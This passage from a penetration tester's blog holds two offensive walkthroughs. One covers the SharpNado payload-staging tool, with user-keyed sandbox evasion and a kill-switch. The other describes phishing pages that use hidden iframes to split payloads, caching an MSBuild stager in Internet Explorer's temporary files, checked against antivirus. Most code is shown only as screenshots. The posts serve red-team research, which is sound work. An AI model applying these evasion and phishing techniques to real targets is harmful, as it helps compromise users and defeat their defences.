<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_DsL2EhyC3qdDWb8pe8JAgAAb-VXU40XdIe_0JZm4VizC_9hHhNZNrguQwY5F3ai9Ca0eyetCoZa3FUuQk4tvWfMdc2D5UCCZOdoIpxCJUKvqclaj9K_RiiJ9Sxo_vm-FJXGTnLLEQ-E/s1600/SharpNadoExample9.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="58" data-original-width="1600" height="22" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_DsL2EhyC3qdDWb8pe8JAgAAb-VXU40XdIe_0JZm4VizC_9hHhNZNrguQwY5F3ai9Ca0eyetCoZa3FUuQk4tvWfMdc2D5UCCZOdoIpxCJUKvqclaj9K_RiiJ9Sxo_vm-FJXGTnLLEQ-E/s640/SharpNadoExample9.PNG" width="640" /></a></div>
<br />
<br />
Now for demo purposes, I will quickly change the payload to b64NoPowershell_ipconfig_1 and when we run the same exact stager again, we instead will show our ipconfig information. Again, this is only for simple demonstration of how you can quickly change out payloads.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXZSx4mW6baQjzPnAY-jRDRA0Gd9eBMkkLI80uwQhqfr4Mfwgcl5I6S8oQyZ__6rIZzng75lKFHJmzzZzgKZCk8vYimTPpT0WJK49gnhlbNF734BS9XcUpsk5XNf4rvc9IknZ7gKIGCNw/s1600/SharpNadoExample11.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="63" data-original-width="1600" height="24" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXZSx4mW6baQjzPnAY-jRDRA0Gd9eBMkkLI80uwQhqfr4Mfwgcl5I6S8oQyZ__6rIZzng75lKFHJmzzZzgKZCk8vYimTPpT0WJK49gnhlbNF734BS9XcUpsk5XNf4rvc9IknZ7gKIGCNw/s640/SharpNadoExample11.PNG" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP_ymbSDdq1N8ZXPh57164XEK7xIm_Hs50KtHERf_JgqRQa8axTH0nK-X9Su26gS4SELYPVx0MlLew6pJ1kvF_vyLzkqHMmF0275TXi8CYcI8kzxO9_mUuQvAOO-D4WdsvsiXBXg8QrNY/s1600/SharpNadoExample10.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="202" data-original-width="1020" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP_ymbSDdq1N8ZXPh57164XEK7xIm_Hs50KtHERf_JgqRQa8axTH0nK-X9Su26gS4SELYPVx0MlLew6pJ1kvF_vyLzkqHMmF0275TXi8CYcI8kzxO9_mUuQvAOO-D4WdsvsiXBXg8QrNY/s640/SharpNadoExample10.PNG" width="640" /></a></div>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b><br /></b>
<b>Simple sandbox evade example:</b><br />
<br />
In this second example I will go over an extremely watered-down version of how you could use SharpNado to build smarter payloads. The example provided with SharpNado is intended to be a building block and could be made as complex or simple as you like. Since our SharpNado service is already running from or previous example, all we need to do is set our payloads to use in the SharpNado console. For this example, I again will be using the same payloads from above. I will run the b64SharpSploitConsole payload if we hit our correct target and the b64NoPowershell_ipconfig_1 payload if we don't hit our correct target.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwk1-9fVriToxo-jTM51eInkxKDmy-FRTgM3X7AHZPXMMhH4lMj4TVVcAROUV2UZiMhL9lHP6VJcWkqJPVXVbN6Y2lgbgNwYVvVRDvFlOV-lqP0mq3NNQWHBWaQbVbh92j1ir8FHdgOWA/s1600/SharpNadoExample16.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="62" data-original-width="1600" height="24" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwk1-9fVriToxo-jTM51eInkxKDmy-FRTgM3X7AHZPXMMhH4lMj4TVVcAROUV2UZiMhL9lHP6VJcWkqJPVXVbN6Y2lgbgNwYVvVRDvFlOV-lqP0mq3NNQWHBWaQbVbh92j1ir8FHdgOWA/s640/SharpNadoExample16.PNG" width="640" /></a></div>
<br />
<br />
Looking at our simple stager example below we can see that if the user anthem is who executed our stager, the stager will send a 1 back to the SharpNado service or a 0 will be sent if the user isn't anthem. Please keep in mind you could however send back any information you like, including username, domain, etc.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwW5ZSLcgahhWSzjxbHabkxWh6-6hb3ci_FPtk3k8kUTopY7Wv8Ll_zxvTtB3nJuh6fH9x4JVD6tPbTd1rEr0l4vKk0oFYtN7nVMdTpOfhiaWiKA4TfV99upkSESJFBJEIN1oDVcPpShc/s1600/SharpNadoExample17.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="821" data-original-width="1475" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwW5ZSLcgahhWSzjxbHabkxWh6-6hb3ci_FPtk3k8kUTopY7Wv8Ll_zxvTtB3nJuh6fH9x4JVD6tPbTd1rEr0l4vKk0oFYtN7nVMdTpOfhiaWiKA4TfV99upkSESJFBJEIN1oDVcPpShc/s640/SharpNadoExample17.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Below is a partial screenshot of the example logic I provided with SharpNado. Another thing I want to point out is that I provided an example of how you could count how many times the service method has been called and depending on threshold kill the service. This would be an example of building in counter measures if we think we are being analyzed and/or sand-boxed.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJchkZRp1Tc2UdWD2XMVIEs1MTBwz2_LzmwZYv3o46zraSXzvI053lHeaQtg7P6SJkYjxVvNPBdhBAB40slWD8tgH3z5JQu6mvZvLRwOjdh2m8mQsDX6OOASNTemhUrkOSQBRCDBcLOU/s1600/SharpNadoExample21.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="552" data-original-width="1315" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkJchkZRp1Tc2UdWD2XMVIEs1MTBwz2_LzmwZYv3o46zraSXzvI053lHeaQtg7P6SJkYjxVvNPBdhBAB40slWD8tgH3z5JQu6mvZvLRwOjdh2m8mQsDX6OOASNTemhUrkOSQBRCDBcLOU/s640/SharpNadoExample21.PNG" width="640" /></a></div>
<br />
<br />
Moving forward when we run our stager with our anthem user, we can see that we get a message server side and that the correct payload fired.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht_5YwcaSHDRti0IPt9KRuNeK-ctV8e6Nbw4h1WsxegahaW0rLk8nBElYHcMyOoR1dlndD4Ka9mwkXzbieyYNLBwQI1cbG1gbc623v-0_56Z3kJPkz4GE0FmJ59X2-oChcsybr9YC5pmI/s1600/SharpNadoExample19.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="66" data-original-width="1600" height="26" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht_5YwcaSHDRti0IPt9KRuNeK-ctV8e6Nbw4h1WsxegahaW0rLk8nBElYHcMyOoR1dlndD4Ka9mwkXzbieyYNLBwQI1cbG1gbc623v-0_56Z3kJPkz4GE0FmJ59X2-oChcsybr9YC5pmI/s640/SharpNadoExample19.PNG" width="640" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7jCQhcS8ZrM6eZGKjW9RvWO9j7HgA_iGv_IBiHSK0nHUlm_xU2uC-KmGV4y_v2b3jrLdReMLRIcVbLJZKZ4uyRZ_y84Aw_OokQR55ruKTa9OvXbGou3oeeXiENxpIg26ex_IA5XGO-K4/s1600/SharpNadoExample18.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="706" data-original-width="1600" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7jCQhcS8ZrM6eZGKjW9RvWO9j7HgA_iGv_IBiHSK0nHUlm_xU2uC-KmGV4y_v2b3jrLdReMLRIcVbLJZKZ4uyRZ_y84Aw_OokQR55ruKTa9OvXbGou3oeeXiENxpIg26ex_IA5XGO-K4/s640/SharpNadoExample18.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Now if I change the user to anthem2 and go through the process again. We can see that our non-malicious payload fires. Keep in mind, the stagers could be setup in a way that values aren't hard coded in. You could have a list of users on your server and have your stager loop through that list and if anything matches, execute and if not do something else. Again, it's really up to your imagination.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4nLFHjGVDh6hxvkz0lBkxe_sdF1ZjhlzaOdmmk00Y-djwtd_MdFlkVa85VTk_xJXqU37QvPx-zArlaRh8iETpIWYcGCeup1LWCf7F9EGuXH9JJGej-h_pzGbQe1HWOhPb3OS_JzwvJJg/s1600/SharpNadoExample20.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="175" data-original-width="1600" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4nLFHjGVDh6hxvkz0lBkxe_sdF1ZjhlzaOdmmk00Y-djwtd_MdFlkVa85VTk_xJXqU37QvPx-zArlaRh8iETpIWYcGCeup1LWCf7F9EGuXH9JJGej-h_pzGbQe1HWOhPb3OS_JzwvJJg/s640/SharpNadoExample20.PNG" width="640" /></a></div>
<b>Compile source code on the fly example:</b><br />
<br />
Let's do one more quick example but using C# source code. This stager method will use System.CodeDom.Compiler which does shortly drop stuff to disk right before executing in memory but one could create a stager that takes advantage of the open source C# and VB compiler Roslyn to do the same thing. This doesn't touch disk as pointed out by @cobbr_io in his <a href="https://posts.specterops.io/sharpshell-the-worst-scripting-engine-of-all-time-3bbfed6c50e4" target="_blank">SharpShell</a> blog post.<br />
<br />
The below payload template example runs a No PowerShell payload that executes ipconfig but I also provided an example that would execute a PowerShell Empire or PowerShell Cobalt Strike Beacon on GitHub:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWEc9nSjWsfS9RIvIlvcrm7Tvo_JIGlmhE9Qa0K6G8U0v70ltgwktV0Ab3TuEsRiqB-LD_EcwpJOmPVBslinE41B8u_4utJPQW0w82LO_OJ7ARqyBSQfpbyi91wccCq2UQfm-S2qli6K8/s1600/SharpNadoExample12.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="864" data-original-width="1013" height="544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWEc9nSjWsfS9RIvIlvcrm7Tvo_JIGlmhE9Qa0K6G8U0v70ltgwktV0Ab3TuEsRiqB-LD_EcwpJOmPVBslinE41B8u_4utJPQW0w82LO_OJ7ARqyBSQfpbyi91wccCq2UQfm-S2qli6K8/s640/SharpNadoExample12.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Then we will setup our stager. In this example I will use the provided GitHub stager SharpNado_HTTP_WCF_SourceCompile.cs.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKT8jXvGAlBn6b1H6RNiUv08nisT_KMH7lKEQQ3vpFxNSgK_dq4Fl7zAkFyW98bjc1EiVt83bnU6u3HkIj2qmnQkOwo1ZsaYWbBnAJ13jRwomc4NztJEaghM75pC9z4vZ8O-fwf7DqpCg/s1600/SharpNadoExample13.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="935" data-original-width="721" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKT8jXvGAlBn6b1H6RNiUv08nisT_KMH7lKEQQ3vpFxNSgK_dq4Fl7zAkFyW98bjc1EiVt83bnU6u3HkIj2qmnQkOwo1ZsaYWbBnAJ13jRwomc4NztJEaghM75pC9z4vZ8O-fwf7DqpCg/s640/SharpNadoExample13.PNG" width="492" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
We will then take our already running SharpNado service and quickly add our payload.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLUPMgmCngPyMuIQU5m92LZh3GrlP2sLzxTw8RcIePcEYVlCyjLdnCBLXWDCuE-P8-yCUlEx5gqhbScbR67G5Hj6xFH9WJkJ1XvJbF9o-aScfeJot05pTveI2Mokf5qaeZaNUocjEgzjM/s1600/SharpNadoExample14.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="1600" height="14" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLUPMgmCngPyMuIQU5m92LZh3GrlP2sLzxTw8RcIePcEYVlCyjLdnCBLXWDCuE-P8-yCUlEx5gqhbScbR67G5Hj6xFH9WJkJ1XvJbF9o-aScfeJot05pTveI2Mokf5qaeZaNUocjEgzjM/s640/SharpNadoExample14.PNG" width="640" /></a></div>
<br />
<br />
Now when we run our stager, we should see our ipconfig output.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD7y-7hcJLljFx63x15NUPFpsfTZ69VM8ZLpSLVxTGyKfm10jP_ApxwxEM9Xof3p67z1cVu-JcyFcmUFD12nVnvK_X2zFxTbF_Jepcu2P7RtYchkjW8s45W3ycY8qJOVAJY_FBHAlsPF0/s1600/SharpNadoExample15.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="203" data-original-width="1600" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD7y-7hcJLljFx63x15NUPFpsfTZ69VM8ZLpSLVxTGyKfm10jP_ApxwxEM9Xof3p67z1cVu-JcyFcmUFD12nVnvK_X2zFxTbF_Jepcu2P7RtYchkjW8s45W3ycY8qJOVAJY_FBHAlsPF0/s640/SharpNadoExample15.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<b>Conclusion:</b><br />
<br />
Hopefully this has been a good intro to how one could use WCF or .NET Remoting offensively or at least sparked a few ideas for you to research on your own. I am positive that there are much better ways to accomplish this, but it was something that I came across while doing other research and I thought it would be neat to whip up a small POC. Till next time and happy hacking!<br />
<br />
<b>Link to tools:</b><br />
<br />
SharpNado - <a href="https://github.com/anthemtotheego/SharpNado">https://github.com/anthemtotheego/SharpNado</a><br />
<br />
SharpNado Compiled Binaries - <a href="https://github.com/anthemtotheego/SharpNado/tree/master/CompiledBinaries">https://github.com/anthemtotheego/SharpNado/tree/master/CompiledBinaries</a><br />
<br />
SharpSploitConsole - <a href="https://github.com/anthemtotheego/SharpSploitConsole">https://github.com/anthemtotheego/SharpSploitConsole</a><br />
<br />
SharpSploit - <a href="https://github.com/cobbr/SharpSploit">https://github.com/cobbr/SharpSploit</a><br />
<br /></div>
AnthemToTheEgohttp://www.blogger.com/profile/10525470231345792074noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-49001607138292180882018-12-05T09:45:00.012-06:002021-09-01T13:18:33.106-05:00Evading Sandboxes and Antivirus Through Payload Splitting<br />
<div class="MsoNormal">
Malware has been using the Temporary Internet Files folder
structure as a launching point for the past 20 years, but from an offensive
standpoint I haven’t seen too much else that leverages the quirks and
functionality it can provide.<span> </span>A few
weeks back during an engagement I was on, I noticed the wide variety of filetypes
present in the folder structure that appeared to be directly downloaded from the internet
and were in no way were obfuscated, compressed, or restricted. <span> </span>Due to a few
other projects I was working on at the time, I started thinking to myself about
the potential implications of this, as well as the limits to which it could be
taken.<span> </span>The result of this research was
the discovery of a technique of splitting payloads to evade antivirus and
sandboxes, as well as provide a potential new method for payload encryption /
environmental keying. <span> </span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
As a part of penetration tests I find myself more often hosting
payloads on a third-party site and then sending a link to the site in the phish,
versus simply including the payload as an email attachment.<span> </span>This is due in a large part to the numerous
steps taken by organizations in recent years to restrict and inspect the files
entering their network in this manner.<span> </span>However,
as the end user is now visiting a site I control as part of the phish, this
provides a new opportunity to transparently download code onto their system in
the Temporary Internet Files folder structure via an I-frame, as well as
deliver a traditional payload.<span> </span>We can
then code that payload to not execute anything malicious itself, but rather
search the local file system and execute instructions / compile from the code
located in the user’s temporary internet files.<span>
</span>This technique can evade antivirus as on their own neither file is
considered to be malicious, and evades sandboxes as the appliance will not have
visited the same page the user did, and thus will not have a copy of the code
pulled via the I-frame.<span> </span>Below, I discuss
an in-depth walkthrough of the setup and operation of this vector.<o:p></o:p></div>
<div class="MsoNormal">
<br />
<br /></div>
<div class="MsoNormal">
<b>A Background on
Temporary Internet Files and Caching<o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
‘Temporary Internet Files’ (INetCache in Win10) is a user-specific
folder located in %userprofile% \appdata\local\microsoft\windows which acts as
the repository for files download while browsing the web with Internet Explorer
(Edge uses a similar method for temporary file storage, but has a separate directory
structure).<span> </span>Although these files appear
to be in a single folder when browsed through the GUI and browser, in reality
they exist in a variety of randomly named, system-generated folders that lie
several directories deeper in the folder structure.<span> </span>Files stored in this structure are cached to
decrease required network demand and allow sites to load more quickly.<span> Chrome and Firefox store their temporary internet files in a compressed format, making them less accessible than those downloaded through IE.</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
The server typically controls caching, and as we will see
later it can set varying lifetimes for resources before the client requests
them again.<span> </span>This makes sense as some resources
(such as a corporate logo or a video embedded on a website) rarely change, and
thus can be downloaded periodically rather than every time the site is
loaded.<span> </span>However, this means that the
client is downloading code to their local disk from a remote location without
any prompts or warnings to the end user.<span>
</span>This by itself does not represent a security risk, and clicking through
to accept a huge number download requests on every site you visit would get old
extremely quickly.<span> </span>Rather, it is the way
that IE and Edge cache flat files in a (relatively) easily findable location
that initially caught my attention, as I found I could coerce a download of a
file from the server to the client, and subsequently access a fully readable
copy sitting in the previously mentioned folder structure on the client’s
system.<o:p></o:p></div>
<div class="MsoNormal">
<br />
<br /></div>
<div class="MsoNormal">
<b>Setting up Apache<o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
In order to get files downloaded onto client systems connecting
to us we first need to set up our server to add the requisite headers to our
traffic.<span> </span>Luckily, Apache has pre-built
modules that helip us do exactly what we need.<span>
</span>Using a standard Ubuntu / Debian box we enable mod_headers and
mod_expires (through a2enmod headers & a2enmod expires, respectively).<span> </span>From there we modify our virtual host file (in
/etc/apache2/sites-available/) to include the necessary rules (in this example
we’ll be using a .xml file to host code to be compiled on the client system):</div><div class="MsoNormal"><br /></div><div class="MsoNormal"><o:p></o:p><b>Note</b>: there is a small typo in the below screenshot, the FilesMatch line should read <FilesMatch "<b><span style="color: red;">\.</span></b>(xml)$"><br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOnoiQyT62Bg-meO9JnP-w2CRrBoc82NvyU2bhwFAKYlkf3Dwrl5F22pynMJ1JrrhjimAfl_m7L_s9uEJyDvE4gREDFDO8gENQJz-MaU26Q8pwB-mFsVRjJFcdiRpSBZpbkoCRwI0oyBI/s1600/virtual+host+config.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="335" data-original-width="525" height="255" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOnoiQyT62Bg-meO9JnP-w2CRrBoc82NvyU2bhwFAKYlkf3Dwrl5F22pynMJ1JrrhjimAfl_m7L_s9uEJyDvE4gREDFDO8gENQJz-MaU26Q8pwB-mFsVRjJFcdiRpSBZpbkoCRwI0oyBI/s400/virtual+host+config.png" width="400" /></a></div>
<div class="MsoNormal">
<br />
<br /></div>
<div class="MsoNormal">
Really all this does is say that any .xml file that is
served should have a cache-control header set on it, with an expiration of
604800 seconds (one week) from when it is downloaded.<span> </span>This means that if the browser attempts to
access the site again, it will perform a delta on the timestamp on the initial
file and if it is less than one week old, will not request an updated version
of the file from the server.<span> </span>Performing
a curl of a resource with cache control set up for it and comparing against one
that does not (such as a .html file) shows us that our configured rules are
working as intended:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX7eQbl0T4kGEy3GN_P9oucKt1OyRzkgrHioCjT6qVyHe__boINqao28F0xhDC88fHzZgowJAhLv4WENQIn3rHyBl5ZNQZ5v0bEG7WBZ3UqlYhIXrxHwbMb8Z7Fxikdi1lkmuVdE8Jdzs/s1600/curlScreenshot1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="203" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX7eQbl0T4kGEy3GN_P9oucKt1OyRzkgrHioCjT6qVyHe__boINqao28F0xhDC88fHzZgowJAhLv4WENQIn3rHyBl5ZNQZ5v0bEG7WBZ3UqlYhIXrxHwbMb8Z7Fxikdi1lkmuVdE8Jdzs/d/curlScreenshot1.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjecTrtu-3-xU6Z8W1gj3XBNkhAGr17WgYjhXFzvcG_QvGEBVNeTs93OqsjeTj3ZopaEXvOQjbzMYNJX9FaZDwZvlUX0cqmIiYsb8F5HgRyhTkod7XsgGZj5w_BKJBKQF4GnwG2stuJwCs/s1600/curlScreenshot2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="227" data-original-width="462" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjecTrtu-3-xU6Z8W1gj3XBNkhAGr17WgYjhXFzvcG_QvGEBVNeTs93OqsjeTj3ZopaEXvOQjbzMYNJX9FaZDwZvlUX0cqmIiYsb8F5HgRyhTkod7XsgGZj5w_BKJBKQF4GnwG2stuJwCs/d/curlScreenshot2.png" /></a></div>
<br /></div>
<br />
<div class="MsoNormal">
<b>Building Hosted Files
and the Landing Page<o:p></o:p></b></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Before we can configure our landing page we need to set up a
hosted file that will be dropped onto the client’s system and determine what we
want it to do.<span> </span>IE is typically pretty
open with the types of files it will automatically download, and I’ve had
success with a variety of file extensions (.vbs, .ps1, .xml, etc.).<span> </span>However, in our example we’ll be using an
MSBuild-compatible .xml stager that contains C# source code, which when built
will in turn grab a second-stage assembly from a remote webserver and execute
it in memory.<span> </span>An example of the general
outline of this stager code can be found here: <a href="https://gist.github.com/G0ldenGunSec/62b8166c23573fc64c6eeb29e8c5b818">https://gist.github.com/G0ldenGunSec/62b8166c23573fc64c6eeb29e8c5b818</a>
We’ll run this code through VT and make sure we’re not going to get picked up
immediately:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaRBh3rZqh5-zFZssmupZdQlGAfD3cv5mQDyuaOsIJViRXoVxTrtwfY3OXYJ_QubMdJsoKhjQC7N7uuRV6u4e-jtnB5qE-AmHyeVLAd5-eiaeaDZgu2rlILuOKmYiGXm1IjQGHGoh5Oww/s1600/vtDetectionsCsStager.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="180" data-original-width="779" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaRBh3rZqh5-zFZssmupZdQlGAfD3cv5mQDyuaOsIJViRXoVxTrtwfY3OXYJ_QubMdJsoKhjQC7N7uuRV6u4e-jtnB5qE-AmHyeVLAd5-eiaeaDZgu2rlILuOKmYiGXm1IjQGHGoh5Oww/d/vtDetectionsCsStager.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
We’ll next need to create a payload that the user will
download to begin the execution chain.<span>
</span>For this example, we’ll use a basic .hta file that contains some
vbscript code which searches for our file within the known Temporary Internet
Files directory structure, and will use msbuild to compile & run our source
code if it is found.<span> </span>In practice, this
could be any of a wide variety of payloads already utilized in traditional
phishing attacks, but with the added benefit of splitting code to further evade
detection. <span> </span>One important thing to note, as
we’re searching based on the name of our .xml file written to disk, using a
unique or sufficiently long randomized string is recommended.<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD3sWy83a3YiBudpjz07_pAlJU9cH05Wu4jrQbeKZtiy3wV1NnQUngELDOBJkjVt1gzofy5XJw3WQDPzLYRCm2WXzLNt9YenfdI5zOZ3x5q-teMcLOLcGDGx0MeHUNIYa0xdXahn4CHb0/s1600/updatedVBScript.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="503" data-original-width="1199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD3sWy83a3YiBudpjz07_pAlJU9cH05Wu4jrQbeKZtiy3wV1NnQUngELDOBJkjVt1gzofy5XJw3WQDPzLYRCm2WXzLNt9YenfdI5zOZ3x5q-teMcLOLcGDGx0MeHUNIYa0xdXahn4CHb0/d/updatedVBScript.png" /></a></div>
<br /></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
</div>
</div><div class="MsoNormal"><div class="separator" style="clear: both; text-align: center;"><br /></div>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9R_7JgvlHC7Pm3z5aTgwYUKTX2EuEbU4tZb7mq10naujTqBbzTMK4CWJ-p74DkGFpWCpe_FVM4XMvV4rH0sW50UGP8Pa_s1xg5RGts9Q45Qzl0jYKsk1fMyb1iGA7oKDKFadDalhMTp4/s1600/vtDetectionsVBScriptLoader.png" style="clear: left; float: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="186" data-original-width="774" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9R_7JgvlHC7Pm3z5aTgwYUKTX2EuEbU4tZb7mq10naujTqBbzTMK4CWJ-p74DkGFpWCpe_FVM4XMvV4rH0sW50UGP8Pa_s1xg5RGts9Q45Qzl0jYKsk1fMyb1iGA7oKDKFadDalhMTp4/d/vtDetectionsVBScriptLoader.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;">
</div>
</div><div class="MsoNormal">Now that we have our hosted files set up, we can move into building
the actual server-side infrastructure of a landing page that will host them.<span> </span>In our
example we have an extremely simple page that hosts a file download and also
contains the hidden I-frame that loads our .xml payload file, which if
configured correctly should cause the c# source code hosted in the .xml file to
be downloaded to the client system.<span> </span></div><div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
